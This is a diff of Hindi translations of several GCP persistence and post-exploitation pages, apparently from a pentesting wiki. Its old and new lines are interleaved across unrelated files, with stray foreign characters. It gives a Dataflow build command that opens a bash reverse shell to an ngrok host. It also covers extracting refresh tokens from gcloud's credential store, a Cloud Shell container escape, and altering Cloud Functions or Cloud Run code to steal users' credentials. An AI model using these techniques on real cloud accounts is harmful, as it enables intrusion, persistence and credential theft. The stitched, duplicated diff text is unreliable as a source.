एक डेटाबेस से कनेक्ट करने के लिए आपको **बस डेटाबेस द्वारा एक्सपोज़ किए गए पोर्ट** और एक **यूजरने** और **पासवर्ड** की आवश्यकता है। पर्याप्त **अधिकारों** के साथ आप **एक नया उपयोगकर्ता बना सकते हैं** या **एक मौजूदा उपयोगकर्ता का पासवर्ड अपडेट कर सकते हैं**।\
एक और विकल्प होगा **किसी उपयोगकर्ता के पासवर्ड को ब्रूट फोर्स करना** कई पासवर्ड आजमाकर या डेटाबेस के अंदर उपयोगकर्ता के **हैश किए गए** पासवर्ड तक पहुचकर (यदि संभव हो) और उसे क्रैक करके।\
याद रखें कि **GCP API का उपयोग करके एक डेटाबेस के उपयोगकर्ताओं की सूची बनाना संभव है**
> [!NOTE]
@@ -13,7 +13,7 @@ Compute और VPC (Networking) के बारे में अधिक ज
### Persistence abusing Instances & backups
- मौजूदा VMs में बैकडोर
- डिस्क इमेज और स्नैपशॉट में बैकडोर नए संस्करण बनाना
- डिस्क इमेज और स्नैपशॉट्स में बैकडोर बनाना नए संस्करण बनाना
- एक विशेषाधिकार प्राप्त SA के साथ नई सुलभ इंस्टेंस बनाना
{{#include ../../../banners/hacktricks-training.md}}
@@ -4,7 +4,7 @@
## Dataflow
### निर्मित कंटेनर में अदृश्य स्थिरता
### निर्मित कंटेनर में अदृश्य स्थायीता
[**दस्तावेज़ से ट्यूटोरियल**](https://cloud.google.com/dataflow/docs/guides/templates/using-flex-templates) का पालन करते हुए, आप एक नया (जैसे कि python) फ्लेक्स टेम्पलेट बना सकते हैं:
```bash
@@ -36,9 +36,9 @@ gcloud dataflow $NAME_TEMPLATE build gs://$REPOSITORY/getting_started-py.json \
--env "/bin/bash -c 'bash -i >& /dev/tcp/0.tcp.eu.ngrok.io/13355 0>&1' & #%s" \
--region=us-central1
```
**जब यह बन रहा है, आपको एक रिवर्स शेल मिलेगा** (आप पिछले उदाहरण की तरह env वेरिएबल्स या अन्य पैरामीटर्स का दुरुपयोग कर सकते हैं जो Docker फ़ाइल को मनमाने चीजें निष्पादित करने के लिए सेट करते हैं)। इस क्षण में, रिवर्स शेल के अंदर, **`/template` निर्देशिका में जाना और मुख्य पायथन स्क्रिप्ट के कोड को संशोधित करना संभव है जो निष्पादित किया जाएगा (हमारे उदाहरण में यह `getting_started.py` है)**। यहाँ अपना बैकडोर सेट करें ताकि हर बार जब कार्य निष्पादित हो, यह इसे निष्पादित करे।
**जब यह बन रहा है, आपको एक रिवर्स शेल मिलेगा** (आप पिछले उदाहरण की तरह env वेरिएबल्स या अन्य पैरामीटर्स का दुरुपयोग कर सकते हैं जो Docker फ़ाइल को मनमाने चीजें निष्पादित करने के लिए सेट करते हैं)। इस समय, रिवर्स शेल के अंदर, यह संभव है कि **`/template` निर्देशिका में जाएं और मुख्य पायथन स्क्रिप्ट के कोड को संशोधित करें जो निष्पादित किया जाएगा (हमारे उदाहरण में यह `getting_started.py` है)**। यहाँ अपना बैकडोर सेट करें ताकि हर बार जब कार्य निष्पादित हो, यह इसे निष्पादित करेगा
फिर, अगली बार जब कार्य निष्पादित होगा, तो समझौता किया गया कंटेनर चलाया जाएगा:
फिर, अगली बार जब कार्य निष्पादित होगा, तो समझौता किया गया कंटेनर बनाया जाएगा:
```bash
# Run template
gcloud dataflow $NAME_TEMPLATE run testing \
@@ -1,4 +1,4 @@
# GCP - Token Persistance
# GCP - टोकन स्थिरता
{{#include ../../../banners/hacktricks-training.md}}
@@ -18,13 +18,13 @@ https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/clou
```bash
sqlite3 $HOME/.config/gcloud/credentials.db "select value from credentials where account_id='<email>';"
```
यह **`$HOME/.config/gcloud/application_default_credentials.json`** और **`$HOME/.config/gcloud/legacy_credentials/*/adc.json`** में रिफ्रेश टोकन खोजने के लिए भी संभव है
यह भी संभव है कि **`$HOME/.config/gcloud/application_default_credentials.json`** और **`$HOME/.config/gcloud/legacy_credentials/*/adc.json`** में रिफ्रेश टोकन पाए जाएं
ए रिफ्रेश किए गए एक्सेस टोकन को **रिफ्रेश टोकन**, क्लाइंट आईडी, और क्लाइंट सीक्रेट के साथ प्राप्त करने के लिए चलाएँ:
क नया रिफ्रेश किया गया एक्सेस टोकन प्राप्त करने के लिए **refresh token**, क्लाइंट आईडी, और क्लाइंट सीक्रेट के साथ चलाएँ:
```bash
curl -s --data client_id=<client_id> --data client_secret=<client_secret> --data grant_type=refresh_token --data refresh_token=<refresh_token> --data scope="https://www.googleapis.com/auth/cloud-platform https://www.googleapis.com/auth/accounts.reauth" https://www.googleapis.com/oauth2/v4/token
```
**Admin** > **Security** > **Google Cloud सत्र नियंत्रण** में रिफ्रेश टोकन की वैधता को प्रबंधित किया जा सकता है, और डिफ़ॉल्ट रूप से इसे 16 घंटे पर सेट किया गया है, हालांकि इसे कभी समाप्त न होने के लिए सेट किया जा सकता है:
**Admin** > **Security** > **Google Cloud session control** में रिफ्रेश टोकन की वैधता को प्रबंधित किया जा सकता है, और डिफ़ॉल्ट रूप से इसे 16 घंटे पर सेट किया गया है, हालांकि इसे कभी समाप्त न होने के लिए सेट किया जा सकता है:
<figure><img src="../../../images/image (11).png" alt=""><figcaption></figcaption></figure>
@@ -34,7 +34,7 @@ curl -s --data client_id=<client_id> --data client_secret=<client_secret> --data
```
/?state=EN5AK1GxwrEKgKog9ANBm0qDwWByYO&code=4/0AeaYSHCllDzZCAt2IlNWjMHqr4XKOuNuhOL-TM541gv-F6WOUsbwXiUgMYvo4Fg0NGzV9A&scope=email%20openid%20https://www.googleapis.com/auth/userinfo.email%20https://www.googleapis.com/auth/cloud-platform%20https://www.googleapis.com/auth/appengine.admin%20https://www.googleapis.com/auth/sqlservice.login%20https://www.googleapis.com/auth/compute%20https://www.googleapis.com/auth/accounts.reauth&authuser=0&prompt=consent HTTP/1.1
```
फिर, gcloud एक कुछ हार्डकोडेड `client_id` (`32555940559.apps.googleusercontent.com`) और **`client_secret`** (`ZmssLNjJy2998hD4CTg2ejr2`) के साथ स्थिति और कोड का उपयोग कर**अंतिम रिफ्रेश टोकन डेटा** प्राप्त करेगा
फिर, gcloud एक कुछ हार्डकोडेड `client_id` (`32555940559.apps.googleusercontent.com`) और **`client_secret`** (`ZmssLNjJy2998hD4CTg2ejr2`) के साथ स्थिति और कोड का उपयोग करेगा ताकि **अंतिम रिफ्रेश टोकन डेटा** प्राप्त किया जा सके
> [!CAUTION]
> ध्यान दें कि localhost के साथ संचार HTTP में है, इसलिए डेटा को इंटरसेप्ट करना संभव है ताकि एक रिफ्रेश टोकन प्राप्त किया जा सके, हालाँकि यह डेटा केवल 1 बार के लिए मान्य है, इसलिए यह बेकार होगा, इसे फ़ाइल से रिफ्रेश टोकन पढ़ना आसान है।
@@ -45,7 +45,7 @@ curl -s --data client_id=<client_id> --data client_secret=<client_secret> --data
```bash
curl "https://developers.google.com/identity/protocols/oauth2/scopes" | grep -oE 'https://www.googleapis.com/auth/[a-zA-A/\-\._]*' | sort -u
```
यह स्क्रिप्ट यह देखने की अनुमति देती है कि **`gcloud`** द्वारा प्रमाणीकरण के लिए उपयोग किया जाने वाल एप्लिकेशन कौन से स्कोप का समर्थन कर सकत है:
इस स्क्रिप्ट के साथ यह देखना संभव है कि **`gcloud`** द्वारा प्रमाणीकरण के लिए उपयोग क जाने वाल एप्लिकेशन कौन से स्कोप का समर्थन कर सकत है:
```bash
curl "https://developers.google.com/identity/protocols/oauth2/scopes" | grep -oE 'https://www.googleapis.com/auth/[a-zA-Z/\._\-]*' | sort -u | while read -r scope; do
echo -ne "Testing $scope \r"
@@ -55,7 +55,7 @@ echo $scope
fi
done
```
इसे निष्पाद के बाद यह जांचा गया कि यह ऐप इन स्कोप का समर्थन करता है:
इसे निष्पादित करने के बाद यह जांचा गया कि यह ऐप इन स्कोप का समर्थन करता है:
```
https://www.googleapis.com/auth/appengine.admin
https://www.googleapis.com/auth/bigquery
@@ -65,14 +65,14 @@ https://www.googleapis.com/auth/devstorage.full_control
https://www.googleapis.com/auth/drive
https://www.googleapis.com/auth/userinfo.email
```
यह देखना दिलचस्प है कि यह ऐप **`drive`** स्कोप का समर्थन करता है, जो एक उपयोगकर्ता को GCP से Workspace में बढ़ाने की अनुमति दे सकता है यदि एक हमलावर उपयोगकर्ता को इस स्कोप के साथ एक टोकन उत्पन्न करने के लिए मजबूर करने में सफल हो जाता है।
यह देखना दिलचस्प है कि यह ऐप **`drive`** स्कोप का समर्थन करता है, जो एक उपयोगकर्ता को GCP से Workspace में बढ़ाने की अनुमति दे सकता है यदि एक हमलावर उपयोगकर्ता को इस स्कोप के साथ एक टोकन उत्पन्न करने के लिए मजबूर करने में सफल होता है।
**यहां देखें कि कैसे** [**इसका दुरुपयोग करें**](../gcp-to-workspace-pivoting/#abusing-gcloud)**।**
### सेवा खाते
जैसे कि प्रमाणित उपयोगकर्ताओं के साथ, यदि आप एक सेवा खाते की **निजी कुंजी फ़ाइल को समझौता** करने में सफल होते हैं, तो आप इसे **आम तौर पर जितना चाहें उतना एक्सेस कर सकेंगे**।\
हालांकि, यदि आप एक सेवा खाते का **OAuth टोकन** चुरा लेते हैं, तो यह और भी दिलचस्प हो सकता है, क्योंकि, भले ही डिफ़ॉल्ट रूप से ये टोकन केवल एक घंटे के लिए उपयोगी होते हैं, यदि **शिकारकर्ता निजी एपीआई कुंजी को हटा देता है, तो OAuh टोकन तब भी मान्य रहेगा जब तक कि यह समाप्त नहीं हो जाता**
हालांकि, यदि आप एक सेवा खाते का **OAuth टोकन** चुरा लेते हैं, तो यह और भी दिलचस्प हो सकता है, क्योंकि, भले ही डिफ़ॉल्ट रूप से ये टोकन केवल एक घंटे के लिए उपयोगी होते हैं, यदि **पीड़ित निजी एपीआई कुंजी को हटा देता है, तो OAuh टोकन तब भी मान्य रहेगा जब तक कि यह समाप्त नहीं हो जाता**
### मेटाडेटा
@@ -12,7 +12,7 @@ Cloud Storage के बारे में अधिक जानकारी
### `storage.hmacKeys.create`
आप एक HMAC बना सकते हैं ताकि एक बकेट पर स्थायीता बनाए रखी जा सके। इस तकनीक के बारे में अधिक जानकारी के लिए [**यहाँ देखें**](../gcp-privilege-escalation/gcp-storage-privesc.md#storage.hmackeys.create).
आप एक HMAC बना सकते हैं ताकि एक बकेट पर स्थिरता बनाए रखी जा सके। इस तकनीक के बारे में अधिक जानकारी के लिए [**यहाँ देखें**](../gcp-privilege-escalation/gcp-storage-privesc.md#storage.hmackeys.create).
```bash
# Create key
gsutil hmac create <sa-email>
@@ -23,11 +23,11 @@ gsutil config -a
# Use it
gsutil ls gs://[BUCKET_NAME]
```
Another exploit script for this method can be found [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/storage.hmacKeys.create.py).
एक और एक्सप्लॉइट स्क्रिप्ट इस विधि के लिए [यहाँ](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/storage.hmacKeys.create.py) मिल सकती है।
### सार्वजनिक पहुच दें
### सार्वजनिक पहुच दें
**एक बकेट को सार्वजनिक रूप से सुलभ बनाना** बकेट पर पहुच बनाए रखने का एक और तरीका है। इसे कैसे करना है, देखें:
**एक बकेट को सार्वजनिक रूप से सुलभ बनाना** बकेट पर पहुच बनाए रखने का एक और तरीका है। इसे कैसे करना है, देखें:
{{#ref}}
../gcp-post-exploitation/gcp-storage-post-exploitation.md
@@ -1 +1 @@
# GCP - पोस्ट एक्सप्लइटेशन
# GCP - पोस्ट एक्सप्लइटेशन
@@ -30,12 +30,12 @@ App Engine के बारे में जानकारी के लिए
```bash
gcloud app logs tail -s <name>
```
### Read Source Code
### स्रोत कोड पढ़ें
सभी संस्करणों और सेवाओं का स्रोत कोड **बकेट में संग्रहीत** है जिसका नाम **`staging.<proj-id>.appspot.com`** है। यदि आपके पास इसके ऊपर लिखने की अनुमति है, तो आप स्रोत कोड पढ़ सकते हैं और **vulnerabilities** और **sensitive information**े लिए खोज कर सकते हैं।
सभी संस्करणों और सेवाओं का स्रोत कोड **बकेट में संग्रहीत** है जिसका नाम **`staging.<proj-id>.appspot.com`** है। यदि आपके पास इसके ऊपर लिखने की अनुमति है, तो आप स्रोत कोड पढ़ सकते हैं और **कमजोरियों** और **संवेदनशील जानकारी** खोज कर सकते हैं।
### Modify Source Code
### स्रोत कोड संशोधित करें
क्रेडेंशियल्स चुराने के लिए स्रोत कोड को संशोधित करें यदि वे भेजे जा रहे हैं या एक डिफेसमेंट वेब हमले को अंजाम दें।
यदि क्रेडेंशियल भेजे जा रहे हैं तो उन्हें चुराने के लिए स्रोत कोड को संशोधित करें या एक डिफेसमेंट वेब हमले को अंजाम दें।
{{#include ../../../banners/hacktricks-training.md}}
@@ -1,4 +1,4 @@
# GCP - आर्टिफैक्ट रजिस्ट्री पोस्ट एक्सप्लइटेशन
# GCP - आर्टिफैक्ट रजिस्ट्री पोस्ट एक्सप्लइटेशन
{{#include ../../../banners/hacktricks-training.md}}
@@ -12,7 +12,7 @@
### प्रिवेस्क
आर्टिफैक्ट रजिस्ट्री की पोस्ट एक्सप्लइटेशन और प्रिवेस्क तकनीकें मिश्रित थीं:
आर्टिफैक्ट रजिस्ट्री की पोस्ट एक्सप्लइटेशन और प्रिवेस्क तकनीकें मिश्रित थीं:
{{#ref}}
../gcp-privilege-escalation/gcp-artifact-registry-privesc.md
@@ -1,10 +1,10 @@
# GCP - Cloud Build Post Exploitation
# GCP - क्लाउड बिल्ड पोस्ट एक्सप्लॉइटेशन
{{#include ../../../banners/hacktricks-training.md}}
## Cloud Build
## क्लाउड बिल्ड
Cloud Build के बारे में अधिक जानकारी के लिए देखें:
क्लाउड बिल्ड के बारे में अधिक जानकारी के लिए देखें:
{{#ref}}
../gcp-services/gcp-cloud-build-enum.md
@@ -1,10 +1,10 @@
# GCP - Cloud Functions Post Exploitation
# GCP - क्लाउड फ़ंक्शंस पोस्ट एक्सप्लॉइटेशन
{{#include ../../../banners/hacktricks-training.md}}
## Cloud Functions
## क्लाउड फ़ंक्शंस
Cloud Functions के बारे में कुछ जानकारी प्राप्त करें:
क्लाउड फ़ंक्शंस के बारे में कुछ जानकारी प्राप्त करें:
{{#ref}}
../gcp-services/gcp-cloud-functions-enum.md
@@ -12,7 +12,7 @@ Cloud Functions के बारे में कुछ जानकारी
### `cloudfunctions.functions.sourceCodeGet`
इस अनुमति के साथ आप **Cloud Function के स्रोत कोड को डाउनलोड करने के लिए एक साइन किया हुआ URL प्राप्त कर सकते हैं**:
इस अनुमति के साथ आप **क्लाउड फ़ंक्शन के स्रोत कोड को डाउनलोड करने के लिए एक साइन किया हुआ URL प्राप्त कर सकते हैं**:
```bash
curl -X POST https://cloudfunctions.googleapis.com/v2/projects/{project-id}/locations/{location}/functions/{function-name}:generateDownloadUrl \
-H "Authorization: Bearer $(gcloud auth application-default print-access-token)" \
@@ -23,7 +23,7 @@ curl -X POST https://cloudfunctions.googleapis.com/v2/projects/{project-id}/loca
यदि क्लाउड फ़ंक्शन संवेदनशील जानकारी का प्रबंधन कर रहा है जो उपयोगकर्ता भेज रहे हैं (जैसे पासवर्ड या टोकन), तो पर्याप्त विशेषाधिकार के साथ आप **फ़ंक्शन के स्रोत कोड को संशोधित कर सकते हैं और इस जानकारी को निकाल सकते हैं**
इसके अलावा, पायथन में चलने वाले क्लाउड फ़ंक्शन **फ्लास्क** का उपयोग करते हैं ताकि वेब सर्वर को उजागर किया जा सके, यदि आप किसी तरह फ्लास्क प्रक्रिया के अंदर कोड इंजेक्शन की भेद्यता (उदाहरण के लिए SSTI भेद्यता) खोज लेते हैं, तो यह संभव है कि आप **फ़ंक्शन हैंडलर को ओवरराइड कर सकें** जो HTTP अनुरोध प्राप्त करने जा रहा है एक **दुष्ट फ़ंक्शन** के लिए जो **अनुरोध को निकाल सकता है** इससे पहले कि इसे वैध हैंडलर को सौंपा जाए।
इसके अलावा, पायथन में चलने वाले क्लाउड फ़ंक्शन **फ्लास्क** का उपयोग करते हैं ताकि वेब सर्वर को उजागर किया जा सके, यदि आप किसी तरह फ्लास्क प्रक्रिया के अंदर कोड इंजेक्शन की भेद्यता (उदाहरण के लिए SSTI भेद्यता) खोज लेते हैं, तो यह संभव है कि आप **फ़ंक्शन हैंडलर को ओवरराइड करें** जो HTTP अनुरोध प्राप्त करने जा रहा है एक **दुष्ट फ़ंक्शन** के लिए जो **अनुरोध को निकाल सकता है** इससे पहले कि इसे वैध हैंडलर को सौंपा जाए।
उदाहरण के लिए, यह कोड हमले को लागू करता है:
```python
@@ -52,7 +52,6 @@ else:
return "Hello World!"
# Attacker code to inject
# Code based on the one from https://github.com/Djkusik/serverless_persistency_poc/blob/master/gcp/exploit_files/switcher.py
@@ -10,14 +10,14 @@ Cloud Run के बारे में अधिक जानकारी क
../gcp-services/gcp-cloud-run-enum.md
{{#endref}}
### Access the images
### इमेजेस तक पहुँचें
यदि आप कंटेनर इमेजेस तक पहुँच सकते हैं, तो कमजोरियों और हार्डकोडेड संवेदनशील जानकारी के लिए कोड की जाँच करें। साथ ही env वेरिएबल्स में संवेदनशील जानकारी के लिए भी।
यदि इमेजेस सेवा Artifact Registry के अंदर रिपोजिटरी में संग्रहीत हैं और उपयोगकर्ता को रिपोजिटरी पर पढ़ने का अधिकार है, तो वह इस सेवा से इमेज डाउनलोड भी कर सकता है।
### Modify & redeploy the image
### इमेज को संशोधित करें और फिर से तैनात करें
जानकारी चुराने के लिए रन इमेज को संशोधित करें और नए संस्करण को फिर से तैनात करें (सिर्फ नए डॉकर कंटेनर को उसी टैग के साथ अपलोड करने से इसे निष्पादित नहीं किया जाएगा)। उदाहरण के लिए, यदि यह लॉगिन पृष्ठ को उजागर कर रहा है, तो उपयोगकर्ताओं द्वारा भेजे जा रहे क्रेडेंशियल्स चुराएँ।
जानकारी चुराने के लिए रन इमेज को संशोधित करें और नए संस्करण को फिर से तैनात करें (सिर्फ उसी टैग के साथ एक नया डॉकर कंटेनर अपलोड करने से इसे निष्पादित नहीं किया जाएगा)। उदाहरण के लिए, यदि यह एक लॉगिन पृष्ठ को उजागर कर रहा है, तो उपयोगकर्ताओं द्वारा भेजे जा रहे क्रेडेंशियल्स चुराएँ।
{{#include ../../../banners/hacktricks-training.md}}
@@ -1,18 +1,18 @@
# GCP - Cloud Shell Post Exploitation
# GCP - Cloud Shell पोस्ट एक्सप्लॉइटेशन
{{#include ../../../banners/hacktricks-training.md}}
## Cloud Shell
## क्लाउड शेल
Cloud Shell के बारे में अधिक जानकारी के लिए देखें:
क्लाउड शेल के बारे में अधिक जानकारी के लिए देखें:
{{#ref}}
../gcp-services/gcp-cloud-shell-enum.md
{{#endref}}
### Container Escape
### कंटेनर एस्केप
ध्यान दें कि Google Cloud Shell एक कंटेनर के अंदर चलता है, आप **आसानी से होस्ट पर जा सकते हैं**:
ध्यान दें कि Google Cloud Shell एक कंटेनर के अंदर चलता है, आप **आसानी से होस्ट पर भाग सकते हैं**:
```bash
sudo docker -H unix:///google/host/var/run/docker.sock pull alpine:latest
sudo docker -H unix:///google/host/var/run/docker.sock run -d -it --name escaper -v "/proc:/host/proc" -v "/sys:/host/sys" -v "/:/rootfs" --network=host --privileged=true --cap-add=ALL alpine:latest
@@ -27,7 +27,7 @@ wget -q -O - --header "X-Google-Metadata-Request: True" "http://metadata/compute
default/
vms-cs-europe-west1-iuzs@m76c8cac3f3880018-tp.iam.gserviceaccount.com/
```
निम्नलिखित स्कोप के साथ:
निम्नलिखित दायरे के साथ:
```bash
wget -q -O - --header "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/service-accounts/vms-cs-europe-west1-iuzs@m76c8cac3f3880018-tp.iam.gserviceaccount.com/scopes"
@@ -35,13 +35,13 @@ https://www.googleapis.com/auth/devstorage.read_only
https://www.googleapis.com/auth/logging.write
https://www.googleapis.com/auth/monitoring.write
```
मेटाडेटा को LinPEAS के साथ सूचीबद्ध करें:
LinPEAS के साथ मेटाडेटा की गणना करें:
```bash
cd /tmp
wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh
sh linpeas.sh -o cloud
```
[https://github.com/carlospolop/bf_my_gcp_permissions](https://github.com/carlospolop/bf_my_gcp_permissions) का उपयोग करने के बाद Service Account के टोकन के साथ **कोई अनुमति नहीं मिली**...
[https://github.com/carlospolop/bf_my_gcp_permissions](https://github.com/carlospolop/bf_my_gcp_permissions) का उपयोग करने के बाद **कोई अनुमति नहीं मिली**...
### इसे प्रॉक्सी के रूप में उपयोग करें
@@ -49,7 +49,7 @@ sh linpeas.sh -o cloud
```bash
sudo apt install -y squid
```
बस आपको बताने के लिए कि Squid एक http प्रॉक्सी सर्वर है। एक **squid.conf** फ़ाइल निम्नलिखित सेटिंग्स के साथ बनाएं:
बस आपको बताने के लिए कि Squid एक HTTP प्रॉक्सी सर्वर है। निम्नलिखित सेटिंग्स के साथ एक **squid.conf** फ़ाइल बनाएं:
```bash
http_port 3128
cache_dir /var/cache/squid 100 16 256
@@ -68,7 +68,7 @@ ngrok का उपयोग करें ताकि प्रॉक्सी
```bash
./ngrok tcp 3128
```
tcp:// यूआरएल चलाने के बाद कॉपी करें। यदि आप ब्राउज़र से प्रॉक्सी चलाना चाहते हैं, तो tcp:// भाग और पोर्ट को हटा देना और अपने ब्राउज़र प्रॉक्सी सेटिंग्स के पोर्ट फ़ील्ड में पोर्ट डालना सुझावित है (squid एक http प्रॉक्सी सर्वर है)।
tcp:// यूआरएल कॉपी करने के बाद। यदि आप ब्राउज़र से प्रॉक्सी चलाना चाहते हैं, तो tcp:// भाग और पोर्ट को हटाना और अपने ब्राउज़र प्रॉक्सी सेटिंग्स के पोर्ट फ़ील्ड में पोर्ट डालना सुझावित है (squid एक http प्रॉक्सी सर्वर है)।
शुरुआत में बेहतर उपयोग के लिए .bashrc फ़ाइल में निम्नलिखित पंक्तियाँ होनी चाहिए:
```bash
@@ -77,6 +77,6 @@ sudo cp squid.conf /etc/squid/
sudo service squid start
cd ngrok;./ngrok tcp 3128
```
The instructions were copied from [https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key](https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key). उस पृष्ठ पर Cloud Shell में किसी भी प्रकार的软件 (डेटाबेस और यहां तक कि विंडोज) चलाने के लिए अन्य पागल विचारों के लिए जांचें।
निर्देश [https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key](https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key) से कॉपी किए गए थे। Cloud Shell में किसी भी प्रकार的软件 (डेटाबेस और यहां तक कि विंडोज) चलाने के लिए अन्य पागल विचारों के लिए उस पृष्ठ की जांच करें।
{{#include ../../../banners/hacktricks-training.md}}
@@ -25,13 +25,13 @@ mysql -h <ip_db> # If mysql
# With cloudsql.instances.get you can use gcloud directly
gcloud sql connect mysql --user=root --quiet
```
यह भी संभव है कि **`--no-backup`** का उपयोग करके **डेटाबेस के बैकअप को बाधित** किया जा सके।
यह भी संभव है कि **`--no-backup`** का उपयोग करके डेटाबेस के **बैकअप को बाधित** किया जा सके।
चूंकि ये आवश्यकताएँ हैं, मैं पूरी तरह से सुनिश्चित नहीं हूँ कि **`cloudsql.instances.connect`** और **`cloudsql.instances.login`** के लिए अनुमतियाँ क्या हैं। यदि आप जानते हैं तो एक PR भेजें!
चूंकि ये आवश्यकताएँ हैं, मैं पूरी तरह से निश्चित नहीं हूँ कि **`cloudsql.instances.connect`** और **`cloudsql.instances.login`** के लिए अनुमतियाँ क्या हैं। यदि आप जानते हैं तो एक PR भेजें!
### `cloudsql.users.list`
डेटाबेस के **सभी उपयोगकर्ताओं की सूची प्राप्त करें:**
डेटाबेस के **सभी उपयोगकर्ताओं की सूची** प्राप्त करें:
```bash
gcloud sql users list --instance <intance-name>
```
@@ -64,14 +64,14 @@ gcloud sql backups delete <backup-id> --instance <instance-id>
```
### `cloudsql.instances.export`, `storage.objects.create`
**एक डेटाबेस का निर्यात करें** ताकि आप से वहां से एक्सेस कर सकें:
**एक डेटाबेस का निर्यात करें** ताकि आप से वहां से एक्सेस कर सकें:
```bash
# Export sql format, it could also be csv and bak
gcloud sql export sql <instance-id> <gs://bucketName/fileName> --database <db>
```
### `cloudsql.instances.import`, `storage.objects.get`
**क्लाउड स्टोरेज बकेट** से एक डेटाबेस आयात करें (ओवरराइट करें):
**एक डेटाबेस आयात करें** (ओवरराइट) एक क्लाउड स्टोरेज बकेट से:
```bash
# Import format SQL, you could also import formats bak and csv
gcloud sql import sql <instance-id> <gs://bucketName/fileName>
@@ -14,27 +14,27 @@ Compute और VPC (Networking) के बारे में अधिक ज
यह एक हमलावर को **पहले से मौजूद छवियों के अंदर निहित डेटा तक पहुँचने** या **चल रहे VMs की नई छवियाँ बनाने** और उनके डेटा तक पहुँचने की अनुमति देगा बिना चल रहे VM तक पहुँच के।
एक VM छवि को एक बकेट में निर्यात करना और फिर से डाउनलोड करना और स्थानीय रूप से माउंट करना संभव है, कमांड के साथ:
एक VM छवि को एक बकेट में निर्यात करना और फिर से डाउनलोड करके स्थानीय रूप से माउंट करना संभव है, कमांड के साथ:
```bash
gcloud compute images export --destination-uri gs://<bucket-name>/image.vmdk --image imagetest --export-format vmdk
# The download the export from the bucket and mount it locally
```
Fore performing this action the attacker might need privileges over the storage bucket and for sure **privileges over cloudbuild** as it's the **service** which is going to be asked to perform the export\
Moreover, for this to work the codebuild SA and the compute SA needs privileged permissions.\
The cloudbuild SA `<project-id>@cloudbuild.gserviceaccount.com` needs:
इस क्रिया को करने के लिए हमलावर को स्टोरेज बकेट पर विशेषाधिकार की आवश्यकता हो सकती है और निश्चित रूप से **cloudbuild पर विशेषाधिकार** की आवश्यकता है क्योंकि यह **सेवा** है जिसे निर्यात करने के लिए कहा जाएगा।\
इसके अलावा, इसके काम करने के लिए codebuild SA और compute SA को विशेषाधिकार प्राप्त अनुमतियों की आवश्यकता है।\
cloudbuild SA `<project-id>@cloudbuild.gserviceaccount.com` को आवश्यकता है:
- roles/iam.serviceAccountTokenCreator
- roles/compute.admin
- roles/iam.serviceAccountUser
And the SA `<project-id>-compute@developer.gserviceaccount.com` needs:
और SA `<project-id>-compute@developer.gserviceaccount.com` को आवश्यकता है:
- oles/compute.storageAdmin
- roles/compute.storageAdmin
- roles/storage.objectAdmin
### Export & Inspect Snapshots & Disks locally
### स्थानीय रूप से स्नैपशॉट और डिस्क का निर्यात और निरीक्षण करें
यह संभव नहीं है कि सीधे स्नैपशॉट और डिस्क को निर्यात किया जाए, लेकिन यह संभव है कि **एक स्नैपशॉट को एक डिस्क में, एक डिस्क को एक इमेज में** परिवर्तित किया जाए और **पिछले अनुभाग**ा पालन करते हुए, उस इमेज को निर्यात किया जाए ताकि इसे स्थानीय रूप से निरीक्षण किया जा सके।
स्नैपशॉट और डिस्क को सीधे निर्यात करना संभव नहीं है, लेकि **एक स्नैपशॉट को डिस्क में, एक डिस्क को इमेज में** में बदलना संभव है और **पिछले अनुभाग**े अनुसार, उस इमेज को निर्यात करना संभव है ताकि इसे स्थानीय रूप से निरीक्षण किया जा सके।
```bash
# Create a Disk from a snapshot
gcloud compute disks create [NEW_DISK_NAME] --source-snapshot=[SNAPSHOT_NAME] --zone=[ZONE]
@@ -44,7 +44,7 @@ gcloud compute images create [IMAGE_NAME] --source-disk=[NEW_DISK_NAME] --source
```
### Inspect an Image creating a VM
**छवि में संग्रहीत डेटा** या **चल रह VM** के अंदर से, जहा एक हमलावर **एक छवि बनाई है,** तक पहुँच प्राप्त करने के लक्ष्य के साथ, एक बाहरी खाते को छवि पर पहुच प्रदान करना संभव है:
**डेटा जो एक इमेज में संग्रहीत है** या एक **चल रह VM** के अंदर से जहा एक हमलावर **ने एक इमेज बनाई है,** एक बाहरी खाते को इमेज पर पहुच प्रदान करना संभव है:
```bash
gcloud projects add-iam-policy-binding [SOURCE_PROJECT_ID] \
--member='serviceAccount:[TARGET_PROJECT_SERVICE_ACCOUNT]' \
@@ -57,12 +57,12 @@ gcloud compute instances create [INSTANCE_NAME] \
--zone=[ZONE] \
--image=projects/[SOURCE_PROJECT_ID]/global/images/[IMAGE_NAME]
```
यदि आप अपनी बाहरी खाता छवि के माध्यम से पहुंच नहीं दे सके, तो आप पीड़ित की परियोजना में उस छवि का उपयोग करके एक VM लॉन्च कर सकते हैं और **मेटाडेटा को एक रिवर्स शेल निष्पादित करने के लिए बना सकते हैं** छवि तक पहुंच प्राप्त करने के लिए पैरामीटर जोड़ते हुए:
यदि आप अपनी बाहरी खाता पहुंच छवि के माध्यम से नहीं दे सके, तो आप पीड़ित की परियोजना में उस छवि का उपयोग करके एक VM लॉन्च कर सकते हैं और **मेटाडेटा को एक रिवर्स शेल निष्पादित करने के लिए बना सकते हैं** छवि तक पहुंच प्राप्त करने के लिए पैरामीटर जोड़ते हुए:
```bash
--metadata startup-script='#! /bin/bash
echo "hello"; <reverse shell>'
```
### Inspect a Snapshot/Disk attaching it to a VM
### एक स्नैपशॉट/डिस्क का निरीक्षण करना उसे एक VM से जोड़कर
**डिस्क या स्नैपशॉट में संग्रहीत डेटा तक पहुँचने के लक्ष्य के साथ, आप स्नैपशॉट को डिस्क में, डिस्क को इमेज में बदल सकते हैं और पिछले चरणों का पालन कर सकते हैं।**
@@ -72,22 +72,22 @@ gcloud projects add-iam-policy-binding [PROJECT_ID] \
--member='user:[USER_EMAIL]' \
--role='roles/compute.storageAdmin'
```
